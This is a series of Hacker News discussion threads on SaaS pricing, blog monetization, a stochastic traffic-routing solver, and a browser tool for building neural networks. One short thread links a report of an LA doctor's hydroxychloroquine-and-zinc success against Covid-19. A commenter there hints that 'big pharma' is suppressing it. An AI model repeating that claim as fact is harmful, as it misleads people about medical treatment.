Pricing Principles - <AUTHOR> http://insideintercom.io/four-pricing-principals-to-never-forget/

<comment><USER2> A few more tricks (I call it "red flags") I learned while running my small SaaS:

\- if you sell service for $10/month and user says "I would buy it for $5/month" - that means he/she will not buy. Just do an experiment: for each customer which does that just give them discount for $5/month (even $2/month): nobody will come back and pay.

\- if you sell service for $10/month and user needs to "to talk to somebody" before committing purchase: he/she will not buy. On other hand, if you have business / enterprise plan (which is like $3000/year) that is a good sign.

\- lowering prices will not get you more paying customers

\- start with "low" prices and rise it during lifetime of your company. Never go back.

<comment><USER3> Does that last point include grandfathering in existing users on cheaper plans? If I'm an existing user, I'll be annoyed if my bill goes up, especially if it's a really big jump. But if prices go down, everyone is happy. If you start high, how big of a problem is it to go down? How much of my objection is just because I'm spoiled by the internet and haven't run a business?

<comment><USER4> Grandfathering is the best thing to do here.

A good trick I've heard is to launch at a high price - say $100 per month - and do promos through marketing channels where you are quite liberal with discounts. This gives the perception of high value on a limited time offer while still making it clear what your price point is.

You then make the discounts more and more scarce over time and for smaller and smaller amounts until you settle on optimal pricing.

</comment></comment></comment><comment><USER5> One of the biggest problems I face is determining when the time is right to shift from free to paid. I originally slapped a subscription page on my app[1] thinking "we'll see how this goes". But after a few weeks of 0 conversions, I had a tough time justifying turning down folks who would have at least signed up if there wasn't a payment required - so I made it free.

The way I look at it is that any feedback with a free plan is better than zero feedback with a subscription. I gain a lot of valuable insight observing how users actually use the service. I'm hesitant to give that up by switching back to a subscription plan and watching new signups die again.

I know there's no magic bullet. I suppose this could be solved quickly if I had more time to devote to selling and marketing - admittedly I've been slacking in that department.

Any words of wisdom would be much appreciated.

[1] <https://beanjockey.com>

<comment><USER6> Stop coding, pick up the phone and call some of your free users. Ask them if they'd pay for your product and why/why not.

If none of your free customers are willing to pay, then it might be time for a pivot. Such as licensing your app to financial providers as a value add.

<comment><USER7> If you do pivot, there might be enough return in acting as a broker (/lead generator) for selling financial products to your users.

Once they're paid down their loans (and even before then) you should have a pretty good picture of their financial situation. What are they going to do with that extra cash they have now that their loans repayments are done?

* Take out a loan for a car/holiday?

* Open a share trading account?

* While they're paying down their debts can you get them a better deal on their credit card?

<comment><USER5> You are spot on. There are so many alternative fee-generating sources and maybe I've been too stubborn at ignoring them. My motivation going into this was that I wanted to create something that provided a definitive value of x, and have customers happily pay a function of x. The known value / known cost approach seemed fair to me.

Pitching additional product for me is troublesome because of the intrinsic fees associated with them. I look at my service as something that accelerates debt repayment in the most efficient way. But to encourage customers to roll- over into a cc balance transfer, mortgage refi, or student loan consolidation, it just pushes their obligations further out in the future. Now, this might not be a bad thing for some people. But ultimately you could get a lot of people into the fee roulette game and it becomes a never-ending cycle where every economic peak and trough of high->low interest rates creates a new incentive for a financial services company to pitch new product.

So, I struggle with this. Do I want to maximize my revenue, or do I want to just provide a really good service for the small group of people willing to pay for it...

</comment></comment></comment></comment><comment><USER8> Great read. Obviously there's a lot more to pricing -- which is as much science as it is art -- than can be covered in an article. For those interested, I would suggest an approachable, but comprehensive text on pricing theory and analytics. "The Strategy and Tactics of Pricing" by Nagle, Hogan and Zale is a great resource. (And speaking of pricing: buy it used, if possible; like most textbooks, it's fairly expensive).

One word of caution: tiered and freemium models are, once again, all the rage in software. And that's great. It's good to see people actually trying to make a profit, and many of them succeeding. But it's very easy to go overboard on tiering. Too much tiering and too much customization in your pricing model will create two big problems: 1) customer confusion and resentment, 2) hidden operational and opportunity costs in managing the tiers and customization. Segmented pricing is great if you can do it, but it needs to be simple, manageable, and transparent.

<comment><USER9> Absolutely - if you find yourself having to tier lots & lots , it's a good argument for utility pricing instead.

Re: Pricing, thanks will check it out.

</comment></comment><comment><USER10> Here's my situation: I have a product that I know 6% of 2000 users who have given me their email address will take for "free," though it requires 15-20 minutes of work for them to participate (so they must see some value here).

I originally priced it at $99, but I haven't been able to get anyone to pay that amount or $19. Do I just keep dropping prices until I can get someone to pay? Is it a fair test to email out varying "discounts" to groups of users to determine a price?

<comment><USER11> I'd work on your marketing. Do you have a series of case studies explaining the benefits? Is their ROI calculated for them?

If you're providing them with that much value, maybe you just need to bring their attention to that value.

That goes double if this is a b2b.

<comment><USER10> Thanks for the tip. I don't have case studies or even testimonials yet, so that may be hurting me. This is what my sales page looks like: <http://cl.ly/image/1a21191A2U16>

<comment> alok-g My gut feeling is that you should not reduce the price at all, and instead work on proving the value you provide, just as you have identified too.

If I am working on a project that I need feedback on, _and_ I am convinced that your solution will provide me that feedback, I'll happily pay $100. At $40, I'll be happy to take risk too. At $20, it sounds like the price is so low because the results would not be worth anything.

If the question is how to bootstrap, the best I can think of is to work closely with those 6% people and refine your product to the needed extent, proving value and getting testimonials.

<comment><USER7> I agree that $19 is too low. That page is trying to convince me that I will get ~20 comments from smart & knowledgeable people at a cost per comment of <$1.

I simply don't believe that pitch. Anyone who is willing to do that for <$1 doesn't value their time, so why would I value their opinion?

I'd increase the price, add some case study/ROI, and provide more detail about how it works (not necessarily on the landing page, but clearly linked)

<comment><USER12> Worth pointing out what's in it for the advisors – namely, a chance to hear about early products.

</comment></comment></comment></comment></comment></comment><comment><USER13> "Adii Pienaar of WooThemes solved this problem by refusing to support non- paying customers. If they're not willing to pay you, then they're not your customers"

Great article all around, but I thought that was the biggest take away for people running web apps & online games, or similar.

For a long time there was this "it's on the internet - it should be free" mentality. There is a difference between freedom of information, and giving away hard work with value.

<comment><USER14> There are cases where a free plan actually makes sense.

Does the usage increases with time? Many users start using JotForm with very low usage and then after using it for months or years they go over the 100 submission/month limit. I believe Evernote also had a similar pattern. Dropbox probably also has it.

Can you use network effects? Only a tiny percentage of our users share their forms with others on JotForm Form Templates gallery. Tiny percentage of 1 million users is still pretty good. So, we have all these ready to use form templates for other users. It saves people time to be able to find a form template for any use case. If we only had paid users the number of shared templates would have been very low.

</comment></comment><comment><USER15> This is a great article.

When raising my prices, I'm always worried that my competition will be able to see and roughly gauge how profitable I am. I'm worried that this will give them an incentive offer products that overlap what I offer and undercut me.

Many price-sensitive customers will just leave at that point. Does anybody share the same fears or have experience of this?

<comment><USER16> _I'm always worried that my competition will be able to see and roughly gauge how profitable I am._ Not a chance (or, specifically, not a chance likely enough to concern you). They're focused on their baby, not yours, and 'profitability' as a meaningful factor depends on variables including overheads, business owner salaries, and vision which are next to impossible to guess with any clarity.

 _I'm worried that this will give them an incentive [to] offer products that overlap what I offer and undercut me._ This is more likely, but is the very definition of competition. If you want to compete solely on price then you (and your competitors) are signing up for a never-ending arms race. Find other ways to compete, and know that success breeds imitators so you must always be a step ahead in regards product or service innovation, or market penetration.

 _Many price-sensitive customers will just leave at that point._ Yes. That's usually a good thing. Moreover, you will lose far fewer than you expect - switching services requires an investment in research, deliberation, time to change, time to re-learn, and risk of something new. The cost-savings need to fund all of that as well, and often don't.

<comment><USER15> Thanks Jacob, if anything that was an encouragement to keep me focused on my overall goal of service improvement rather than to get intimidated by the 'business side' of running my website.

Can I tap your knowledge further. How important is it to have a clear division of roles in a startup? What I am asking is, for greater success, can the techy guy really be the business guy at the same time? (I'm thinking about the partnership between Woz and Jobs)

<comment><USER16> Clear divison of roles is important BUT (here's the trick) one person can fill more than one role.

There are loads of case studies where an innovative, entrepreneurial spirit has teamed up with a more detailed focus operationally-minded colleague. As long as their values and risk profiles are aligned, it can be (really, really) great.

There are also many advantages to one person looking after both tech and sales [1] - for one, it avoids building a product that customers aren't asking for.

So the clearly defined roles are still there - say product build and sales. You might do both, so just make sure you keep yourself accountable to doing them both justice - for example, scheduling blocks of time for each, and not giving in to distractions. You will almost certainly prefer one to the other - success is keeping the balance, and not one day finding you've been coding for 3 months without talking to a single customer or investor.

In the startup stage there will always be a lot of roles that aren't full time and will be filled by a founder - think accounts, marketing, customer service. As you grow, these can be handed over - and if you've always treated them as separate roles, not just part of your job, then that role succession will be much easier for you and your new recruit.

I'm always happy to answer business questions - email address in my profile if you prefer.

[1] At startup, "the business guy" means "the sales guy". They're either selling to customers or selling to investors; if they're writing 5 year plans and applying their MBA's management reporting course, then they don't understand startups.

</comment></comment></comment></comment><comment><USER17> As a person who just launched their first two Android Applications this was an excellent read.

My biggest question is do you think its best for applications to charge a one time large fee or a monthly smaller fee?

<comment><USER9> It depends on how often you deliver value and what costs you have.

If you have recurring costs that increase in size with your user base, then charge a proportionate recurring fee.

If it's a game that someone buys, plays for a week and moves on to the next, a subscription won't work, because there's no continuous value. So you charge up front, deliver all your value up front, and get busy working on your second game.

If you're thinking big applications (e.g. Photoshop) then your question becomes about things like distribution, retention, sales channels, competitors etc.

Bluntly You can take $2k every 2-3 years assuming people upgrade to your latest release, or you can take $50 per month every month assuming people stay. Both work out similar.

The advantage of the $2k model is that you get big money up front which you can re-invest in more customer acquisition (or your next release). The drawback is that $2k isn't a "no-brainer" sale, it needs approval, you need a good brand, and you're limiting your addressable market a good bit.

The advantage of the $49 per month is that it's a zero risk try-out, people will convert far far easier. The disadvantage is retention.

Product to product I'd give different advice, but in general, recurring is easier to plan a business on.

</comment></comment><comment><USER18> Good article. I still think a free tier can be beneficial for most SaaS products. At Eventbrite we shared space with Yammer and Zendesk, the three of us with free tiers (Zendesk $20/year "donation") and really making it work. The point is NOT to implement limits but instead to implement features that make sense for those able to pay. For many SaaS services, that's admin tools to manage users. The reality is that there are millions of companies out there with fixed costs well less than $20k per month (don't forget there are non- tech startup companies, too).

It cannot be overstated that it really is very easy to raise prices. It's pretty much impossible to make a pricing mistake in the beginning because for growing companies, the initial users will only amount to a fraction of total users over time.

</comment><comment><USER19> Awesome read. Everyone planning to run a SASSy start-up should read this. I would add that when I ran one of my first start-ups, we were sort of scared about whether or not we're charging too much. After our first influx of clients, that fear quickly diluted. (As it turns out, we could have charged a lot more and people were still willing to pay.)

Generally speaking, you ought to charge _more_ than what you think you should. For example, you may think that $25 dollars a month may be too much, but, in reality, you should probably be charging $40 or $50 a month. This isn't a silver-bullet, but, as developers and given the insane ROI (barring development which you most likely did yourself) you get out of running a tech start-up, we _heavily_ tend to undervalue our products.

</comment><comment><USER20> Good stuff.

I would add that one exercise which should really help is sitting down and actually quantifying the value customer receives - dollars saved, dollars earned, time saved, all broken down by type of customer (however you chose to define that), and by the aspect of their workflow you aim to improve.

What this will do is anchor your pricing gu feel to the right range. Besides, you can show it to the users and get valuable push back where you're off. My mentors spent countless hours convincing me of the value of this exercise and it's finally sinking in now, so I am in a hurry to share the wisdom. :)

</comment><comment><USER21> Solid read. This is one of my favorite blogs about Saas businesses/services.

<comment><USER22> Agreed, one of my favorite product blogs as well. It's also prime example of using your blog to educate, demonstrate domain knowledge, and eventually win customers (worked on me, anyways).

</comment></comment><comment><USER23> Mirror: [http://webcache.googleusercontent.com/search?q=cache:http://...](http://webcache.googleusercontent.com/search?q=cache:http://insideintercom.io/four- pricing-principals-to-never-forget/)

</comment><comment><USER24> there's great danger in leaving value on the table. I suggest you survey no fewer than 150 decision makers and start quoting them different pricing amounts.

So that you're thorough, do your survey all hte way from $150M (anually) down to whatever's silly (like a few bucks, you don't have to do those.).

For example:

      Quote decision maker #1, decision maker #2, and decision maker #3: $78213333.33
      Quote decision maker #4, decision maker #5, and decision maker #6: $38471111.11
      Quote decision maker #7, decision maker #8, and decision maker #9: $26702222.22
      Quote decision maker #10, decision maker #11, and decision maker #12: $20298271.60
      Quote decision maker #13, decision maker #14, and decision maker #15: $15549629.63
      Quote decision maker #16, decision maker #17, and decision maker #18: $7051412.89
      Quote decision maker #19, decision maker #20, and decision maker #21: $6571486.05
      Quote decision maker #22, decision maker #23, and decision maker #24: $3755915.26
      Quote decision maker #25, decision maker #26, and decision maker #27: $2857190.47
      Quote decision maker #28, decision maker #29, and decision maker #30: $2011964.30
      Quote decision maker #31, decision maker #32, and decision maker #33: $955402.69
      Quote decision maker #34, decision maker #35, and decision maker #36: $812816.78
      Quote decision maker #37, decision maker #38, and decision maker #39: $516906.05
      Quote decision maker #40, decision maker #41, and decision maker #42: $322132.83
      Quote decision maker #43, decision maker #44, and decision maker #45: $231654.29
      Quote decision maker #46, decision maker #47, and decision maker #48: $157176.59
      Quote decision maker #49, decision maker #50, and decision maker #51: $104682.89
      Quote decision maker #52, decision maker #53, and decision maker #54: $67406.83
      Quote decision maker #55, decision maker #56, and decision maker #57: $40156.30
      Quote decision maker #58, decision maker #59, and decision maker #60: $34938.66
      Quote decision maker #61, decision maker #62, and decision maker #63: $17201.68
      Quote decision maker #64, decision maker #65, and decision maker #66: $10708.61
      Quote decision maker #67, decision maker #68, and decision maker #69: $7962.40
      Quote decision maker #70, decision maker #71, and decision maker #72: $5854.78
      Quote decision maker #73, decision maker #74, and decision maker #75: $3738.44
      Quote decision maker #76, decision maker #77, and decision maker #78: $2609.52
      Quote decision maker #79, decision maker #80, and decision maker #81: $1678.07
      Quote decision maker #82, decision maker #83, and decision maker #84: $1169.41
      Quote decision maker #85, decision maker #86, and decision maker #87: $852.98
      Quote decision maker #88, decision maker #89, and decision maker #90: $504.30
      Quote decision maker #91, decision maker #92, and decision maker #93: $403.51
      Quote decision maker #94, decision maker #95, and decision maker #96: $217.04
      Quote decision maker #97, decision maker #98, and decision maker #99: $180.79
      Quote decision maker #100, decision maker #101, and decision maker #102: $100.46

In this case 102 decision makers is plenty.

If you chart it you should see a precipitious drop in interest somewhere. Where is that?

If you DON'T do the above you'll NEVER know!! :)

By the way if anyone's interested, this is made by a script that decays from 100M by 2/3 each go, then fudges +/- 20% to make it a bit more organic.

<comment><USER20> I'm not brave enough to start with this price level, but then I fear that starting lower will leave money on the table...

</comment></comment><comment><USER25> does increasing prices increases the number of customers also?</comment>


Ask HN: Best way to monetize jgc.org - <AUTHOR>

I currently monetize the site by pointing people to copies of my book. On Monday I had 150,000 pages views and it seems like there's more I could be doing to make the site pay.<p>In the past I've shied away from advertising because I felt it was intrusive. According to Google Analytics I average 100,000 page views per month. <comment><USER2> It's probably not worth it for the $100 or so advertising would bring in. I'd focus on using your site to build your personal brand, use it to drive subscribers to your twitter, facebook, etc. pages.

Also consider setting up a mailing list which you use to periodically send out updates on interesting things you're working on.

That way onces you have something you want to promote (be it a book, website, event, etc.) you'll have a solid following to which you can promote it.

</comment><comment><USER3> Let's suppose that there is some sweet spot between generating revenue directly from your site and violating your sense of personal integrity.

How do you get there? A/B testing of course.

Now the questions become:

A) Would you rather spend your time writing, conducting, and analyzing A/B tests or writing another book?

B) Which offers a better opportunity to scale, the website or another book?

Finally, there is nothing wrong with leaving some "meat on the bone" for your readers by not fully monetizing your site. The author reader relationship is intimate, and intimacy requires trust. Rotating ads based on where I've browsed are creepy.

If you go down the advertiser route, it should be direct placement of goods and services you are willing to put your name behind and which you believe are in the interest of your readers.

Good Luck.

</comment><comment><USER4> Ads. That's all that I've come up with. I would love for something different to come along (<http://reddino.org/when-can-we-drop-the-advertising-model/>) but I don't see anything on the horizon. You could always just place one ad on each page and see how it does. That wouldn't be too intrusive.

Many people will probably suggest an ebook/course/etc, but they're all just slight variations on your book.

</comment><comment><USER5> Loyal followers generally don't mind weekly/monthly sponsorship acknowledgements. I think that's a good route for an interesting/authoritative site like yours.

See examples: <http://www.marco.org/sponsorship>

<http://daringfireball.net/feeds/sponsors/>

</comment><comment><USER6> You could try one of the non intrusive ad networks (fusion, the deck) but I think most are invite only.

I've also seen you show a few products in some posts so affiliates may be an okay money maker (See more money than google ads).

The best would be to have someone pay to sponsor you per month or per period.

</comment><comment><USER7> Resurrect the old job board, charge to place an advert - promote it not-so- subtly from the blog :)

</comment><comment><USER8> Hmm, this got longer than I expected - possibly I have some issues here too.

Anyway, I completely agree on the avoidance of advertising. We are British after all. But advertising gets you money for almost no effort - you already have 100K visits, you do no extra work. Sadly that's about the only time you will get money for nothing. Here's my list of the alternatives.

1\. The simplest and apparently best advice is to build up a mailing list. I will happily receive a monthly mail from you telling me about more London Bus projects, how the plan28 is coming along and so on. Keep it personal. Mailchimp is your friend here. Its pretty good.

2\. Anyway, the point about the mailing list is they are supposed to have seriously good response rates - 20% plus (see patio11). Every so often you can monetize that list by selling ... and this is where the issue hits. You need something to sell, and that's a new book, a training course (on London bus model modding, or atmospheric balloon flying). And that something is as much work as a small book. So its not like you are monetizing the website with no effort.

3\. Recruitment models seem to work well - you have access to a huge pool of technical talent, you have a reputation for integrity and projects that go somewhere. Why not put the word out on your blog that companies who want long- term _hard but interesting_ projects to be taken on by the best freelancers should contact you.

You pick the projects, put out a call for team members and take a recruiters cut (20% first year salary).

I know that's not monetizing the blog - its taking on a new job as a project manager. But you do something similar for plan28 I guess. Anyway, think the stuff at bloomberg research (<https://news.ycombinator.com/item?id=5637739>) not "I want a new website".

If it works well you can hire a real PA and just do the fun code reviews.

4\. Travel agency model - I listened to a really good podcast on Roman Empire a couple of years ago, (I came in about 100AD and so had 900 years of catchup before I hit the "what a whole week before I get to listen again!")

Anyway, he offered to do small group tours of Italy and Rome - it seemed pretty successful, he did not get rich but he essentially got first class tickets and holiday in Rome, doing what he loved plus a fair bit of spending money.

Why not do the same for your geek atlas? There are a number of boutique tour operators who would probably help out. And you get a free holiday.

5\. I get the sneaking feeling you are "looking about" for something new to excite you (you strike me as a guy who needs a lot of projects to keep the brain tricking over and you just dropped below the threshold)

6\. Labs. My own personal plan is to put enough aside consulting to pay my own tenure - and to then develop products in 'almost-emerged' industries (Computer-vision, UAV).

This is really not website stuff - but if it is new projects you are looking for _and_ monetizing somehow, well, an evening in the pub brainstorming will come up with enough to keep you busy for a year or two.

Actually that last one is interesting - if this is still bugging you in a couple of weeks, just tell #HNLondon that you will be at the Dog and Bone after the meetup for a pipe-smoking, real-ale drinking, brainstorming for freelancers.

If you _and five others_ do not walk away at the end of the evening with a fully planned out 18 months of work, then none of you were drinking strong enough beer.</comment>


Microsoft Tries to do a GitHub With Xbox like plugin for Visual Studio - <AUTHOR> http://digitizor.com/2012/01/22/visual-studio-xbox/

<comment><USER2> This is something that I think we've all joked about at some point or another. It's strange seeing that it is real now.</comment>


Show HN: My Python Solver for the On-Time Arrival Problem in Traffic Congestion - <AUTHOR> https://github.com/mehrdadn/SOTA-Py/tree/master <comment><USER2> I'm very interested in this. Thanks for sharing.

Having coded up a semisolid implementation of time-dependent contraction hierarchies (which might not even get used, because of the very same data accessibility issues you outline), it seems at first glance quite straightforward to adapt CH preprocessing to this model. To contract a vertex you just look at whether each potential witness path has a _nonzero probability_ of being a shortcut. I suppose you could cut preprocessing time down by replacing "nonzero probability" with "probability greater than epsilon" to get a sort of approximate hierarchy.

You refer to the edge weights as an "hmm", which I guess stands for hidden markov model. It doesn't seem like they use that term in the paper, although if you made the data time-dependent would edge weights then be a genuine markov process? Would something like the Viterbi algorithm become a useful subprocess of the overall algorithm in that case?

The current big open source routing engines tend to be written in c++ or java. Do you think using python makes a significant difference in query or preprocessing times? *

*Edit: Just noticed the Numba dependency, which probably answers this question.

<comment><AUTHOR> Glad to hear from someone who's worked on routing!

Yes, it's quite possible that CH can be adapted to this -- I haven't had a chance to attempt it -- although it's not obvious to me if it would help with the preprocessing time.

I have not been very interested in approximations myself, since coming up with reasonable approximations seems rather obvious/straightforward, and yet producing any bounds on the error seems to be quite the opposite (at least for me)! That said, it's only a matter of time before someone does a comprehensive empirical study on that. :-)

The HMM was actually beyond the scope of this project, which is why you don't see any mentions of it. (The reference to check out regarding the path HMM inference would be #23 on Springer.) Its only significance is that it was the model of the dataset we used, but as far as we were concerned, we merely had a GMM.

Regarding time-dependent travel times, I'm not actually sure what the best model for that is (not just from a modeling perspective or data gathering, but also storage constraints and ease of inference); it's something I've been thinking of looking into, and I think others are as well. It does seem reasonable that a Markov model might work, since the travel time on a given edge at a subsequent time step only depends on the travel times on that edge and/or on incoming edges at a previous time step. However, I don't immediately see a reason for it to be Markov in solely the _time_ dimension, which (if it's not) means that HMM algorithms such as Viterbi might not really be meaningful here (?), since the Markov properties I can see require a space dimension as well. It seems like a more general (but sparse & mostly-planar) Bayesian network to me. I could be wrong about this though.

Regarding Python vs. C++/Java -- it does make a significant difference, but not outrageously. I'm guessing you didn't see this part on the GitHub page, but it actually turns out this code is "only" 3× slower than the C++ equivalent used for the paper. (Note that this comparison is after a fairly heavy amount of optimization on both the C++ and Python codebases. Also note that the Python optimization involved far more than using Numba, although that was a notable part of it.) I think it makes a bigger difference in query times rather than preprocessing times, since the latter is far easier to parallelize (meaning you can just make it faster by throwing more hardware at it rather than by rewriting the code). But the overall problem is so computationally intensive that the main problem isn't the implementation language, it's coming up with an appropriate algorithm so that you don't need an astronomical number of CPU-days.

Thanks for the great questions!

<comment><USER2> Thanks for the answers. I see what you're saying about the Markov properties - certainly something to think about.

> I haven't had a chance to attempt it -- although it's not obvious to me if > it would help with the preprocessing time.

My initial research suggested that CH has much faster query and preprocessing times (and lower memory overhead) than arc-flags, which is why I ended up implementing it. Plus you can even combine CH with arc-flags or ALT to get pointlessly good speed. However I don't know how much faster this "arc- potentials" is than arc-flags.

Using "approximate" contraction hierarchies doesn't necessarily lead to inexact results! There's a really interesting paper by the Karlsruhe guys [0] which discusses how you can set up a contraction hierarchy where the shortcuts only store their minimum and maximum travel times. At query-time this allows you to quickly generate a "time-profile corridor" between points A and B, which is a subgraph containing only those vertices which lie on a shortest path from A to B at _some_ departure time. Then you only need to do a quick time-dependent dijkstra on the corridor ;]

0\. [http://dl.acm.org/citation.cfm?id=2444020](http://dl.acm.org/citation.cfm?id=2444020)

<comment><USER3> Do you have any numbers about how much faster CH+ALT was compared to pure CH?

<comment><USER2> Ah, good question, no I haven't. I'm basing that comment on a vague memory of a graph showing query time vs preprocessing time for lots of algorithms. Looking back at the graph it seems ch with arc flags (chase) slightly improves query time, but for alt they only have results on non fully contracted networks (core-alt). Probably a memory issue.

Sorry if I misled - I haven't actually tried combining ch with alt as it turned out to be more than enough on its own. My point was just that ch is reported to synergise well with other methods, which makes it likely to be a good investment.

<comment><USER3> Interesting, we (GraphHopper) tested CH+ALT and saw also no improvements, also for CH with normal A*, although it is reported in papers that it should be faster. The idea about non-fully contracted networks is really nice and could be worth a try - thanks!

<comment><USER2> Wow, that seems counter-intuitive. I suppose it must be due to the computation of the heuristic, combined with how few relaxations are needed in CH.

GraphHopper is really nice work by the way. I believe you are still working on implementing stall-on-demand? Will be very interesting to see how much difference that makes on long-distance queries.

<comment><USER3> I guess it is the overhead of the heuristic that is too much compared with the saved visited nodes, but this is counter-intuitive for me as well and if I have more time will investigate this again.

> GraphHopper is really nice work by the way.

Thanks!

> I believe you are still working on implementing stall-on-demand?

I've not yet digged into it but others have with less success but would be very interesting: [https://github.com/graphhopper/graphhopper/issues/240#issuec...](https://github.com/graphhopper/graphhopper/issues/240#issuecomment-297787098)

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER4> The demo looks really cool. Do any of the major navigation apps utilize these algorithms?

<comment><AUTHOR> Thank you!

I don't believe _any_ apps utilize these algorithms, and for good reason. The main problem is that SOTA is a very computationally intensive problem. On the example shown, a plain Dijkstra takes a fraction of a second (you can imagine A* is faster, and over time these have been sped up by a factor of millions, IIRC), whereas SOTA takes dozens of seconds to run. The difference increases quickly for larger networks and time budgets.

If you check out the paper I linked to, you might get a better idea of just how computationally intensive this process is. If I recall correctly, classical point-to-point pathfinding algorithms have even advanced to the stage that, with some reasonable (albeit clever) preprocessing, queries on _very_ large networks can be done in a matter of _milliseconds_ on mobile CPU power. Compare that to this algorithm, which takes dozens of seconds to run on a network the size of San Francisco, or at _best_ in dozens or hundreds of milliseconds after _practically prohibitive_ preprocesssing (e.g. 30 CPU-days and tens or hundreds of gigabytes are pretty normal) on a Core i7 CPU. It's just not scalable yet, which is why we've been working on it as a research problem (as have many other people).

Edit: There are lots of obstacles; the above was just one. Another one is that even the existing model assumes the same travel time distribution throughout the day, which is clearly unrealistic (you can imagine fixing this would blow up the running time even more). Yet another one is the problem of getting enough traffic data to construct useful travel time distributions, which means only a major company with existing data (like Google) could release an app that actually initially works with real data. Barring some kind of contract with a big company, everyone else would have to just release an app to gather data, and it would only become useful after a long time (if people are even willing to give away precise location data to random app creators).

</comment></comment><comment><USER3> Thanks for this!

Did you measure memory usage for e.g. San Francisco or Berlin?

Why did you consider this non-commercial license? Especially since you say 'I don't plan on actively maintaining it'

<comment><AUTHOR> I didn't specifically measure memory usage, however it's on the order of a few hundred megabytes per query (600 MB on the particular example I'm looking at).

Regarding the license and maintenance, it's what seemed the most suitable for me given the effort I'd put in and what the code actually did. But the idea was that if it's unsuitable for you, you can certainly contact me and make a request for them to be different, and I can try to license it differently on an individual basis.

<comment><USER3> Is the main RAM usage from the graph or is the algorithm RAM intense?

I'm asking as other open source projects (like ours, see my profile) might not look in your code just because of the license. And yes, that is the tricky thing about open source: accept that other people make money with it and try to do this too ;)

<comment><AUTHOR> > Is the main RAM usage from the graph or is the algorithm RAM intense?

The graph itself is negligible, unless you want to store lots of auxiliary data (street addresses and whatnot), but then those are already on the disk, and you don't need them in memory for this problem. The traffic data is somewhat bigger, e.g. a few hundred float64's per edge, so like 100 MB for |E| = 40k edges would be normal (no pun intended) but that's (a) just something that depends on the sizes of your distributions and not the algorithm, and (b) something that you can discard and re-generate on the fly from the continuous- time distribution parameters, at a speed cost.

The main memory usage is for storing the policy solution itself. For a discrete budget T (say, 5k steps) and |V| vertices (say, 10k) you need approximately T * |V| float64's just to store the policy solution (e.g. 200 MB). And if you want the convolutions to be done in guaranteed quasilinear time, you can pay a penalty of T * |E|, which would be e.g. 800 MB (4 roads per intersection). This is not necessarily necessary though, it just depends on the problem parameters. Sometimes naive convolution is faster too. (Actually, I just lied a bit, because for every edge you don't need a vector of size T, but a smaller vector of size (T - min_travel_time_to_destination_from_edge_source), so what I gave you is somewhat of an overestimate. But that's the general ballpark.)

For computing the path, an algorithm that doesn't need to pre-compute a policy may (or may not) use less memory, so for that problem, the policy's memory usage can be ascribed to the algorithm. However, I don't really expect the memory usage of a different algorithm for the _same exact problem_ to be radically different. (You can of course make approximations, etc. but then it's not the same problem or necessarily the same solution.)

> I'm asking as other open source projects (like ours, see my profile) might > not look in your code just because of the license. And yes, that is the > tricky thing about open source: accept that other people make money with it > and try to do this too ;)

(Edit: I edited this comment since I realized I initially misunderstood your licensing model.)

I think a few key difference between our projects (and therefore licensing models) are:

1\. Just how much more computationally intensive this problem is compared to standard routing. For me to adopt your model of providing a paid service while making the code free for commercial use, I would not only have to spend a significant amount of time writing service APIs for this (I have other things to do than to start this business!), but I'd have to invest in _quite_ a large cluster of servers -- 1000 CPUs _per metropolitan road network_ seems to be the minimum for this problem to get decent query times. (Again, note that a reasonable query on a sub-portion of San Francisco takes 15 seconds, and this is already making the unrealistic assumption that traffic is constant throughout the day.) Both of those just seem unrealistic for me, so I'm just saying if someone else actually thinks such a business would be profitable and would like to take up those tasks, they can request a commercial license.

I'm not sure anyone _should_ use this commercially, though -- see the next point.

2\. I simply have _not designed_ or even _intended_ this project for production usage, whether paid or free... and the license is meant to emphasize that. It's for researchers, meaning it's meant to be short & easy to tweak. It's not particularly well-written code, there is no clear API at all, there are many "engineering" tricks/approximations that would need to be put in for actual real-world usage, etc... and to be honest, I _actually don 't want_ poorly-written code to go into production use! I think that is one of the things that is actually harming us in the modern era. So I would rather that anyone who wants to use the algorithm just rewrites their own code in a better way for production usage, and not even use my code. Honestly, they would probably _have_ to understand the code well enough to be able to rewrite it in a breeze if they want to modify it enough to make it useful.

So, basically, the commercial-license clause was the "else" clause in the license. :-) Like I wrote there, I didn't necessarily think this clause should ever _be_ hit. Chances are good that even if someone contacts me, they'll change their mind and decide it's outright _easier_ in anything but the very- short-term for them to just write their own code based on the paper (and that this would be more profitable would just be icing on the cake). But in case for some reason they don't think that, I didn't want to leave any doors closed, so I included that option.

</comment></comment></comment></comment><comment><USER5> I didn't realize GitHub had added a topic tags feature to repos. I hope it ends up being useful!

<comment><AUTHOR> Yeah, I'm thinking maybe I went a little overboard with that. :-)

<comment><USER5> To the early adopter go the spoils.

<comment><USER6> The early bird gets the wannacry?

</comment></comment></comment></comment><comment><USER7> Can you look into adding numba support to accelerate the computation?

<comment><USER8>
        ### Dependencies

        - NumPy is the only hard external dependency.
        - Numba, if available, is used for compiling Python to native code (≈ 3× speedup).
        - PyGLET, if available, is used for rendering the results on the screen via OpenGL.
        - SciPy, if available, is used for slightly faster FFTs.

It's right there in the README

<comment><USER7> Hmmm..Thanks for this. I looked at the code and must have missed the decorators.</comment></comment></comment>


LA doctor seeing success with hydroxychloroquine/Zinc to treat Covid-19 - <AUTHOR> https://abc7news.com/coronavirus-drug-covid-19-malaria-hydroxychloroquine/6079864/ <comment><USER2> News outlets were saying this won't work. Is it because big pharma is trying to keep this doubting so they can push a cure all drug? Let's wait and see...</comment>


Show HN: Deep Learning GUI to Create, Train and Visualize Models in a Browser - <AUTHOR> https://beta.aifiddle.io/ <comment><USER2> Cool, project - I really believe that we need more visual tools for building and debugging neural nets.

I had a hard time figuring out how to delete a layer (the icons on the left are REALLY tiny and not obvious). Maybe adding a trash can in the graph once you've selected it would be more intuitive (heck maybe add all those icons there too).

Also, it would be great if it automatically created 'reshape' layers for you depending on what you're trying to connect or at least suggest them when you try to make a connection that doesn't fit. If I'm going to use a WYSIWG, it should make things easier for you than if you coded it by hand. When I'm doing AI stuff I find a really big portion of my time is just trying to figure out the right sizes / strides / padding etc at a given point in the graph. I feel like this would be way easier if it's automatically visualized for me or if intelligent suggestions are offered.

</comment><comment><USER3> Wow this is great! Makes the process so much more interactive, being able to draw your own digits and it gets recognised is great. Some small issues I ran into for your todo list:

1\. Load a Model -> Select model -> Dialog had some spelling mistakes.

2\. Using react tools for chrome, I can see the UI is updating constantly when nothing changes. This is also making the popup flicker when mouse hovering over the graphs. The fix is to have ShouldComponentUpdate return false more!

<comment><AUTHOR> Good catch. Thanks. Indeed due for a perf update.

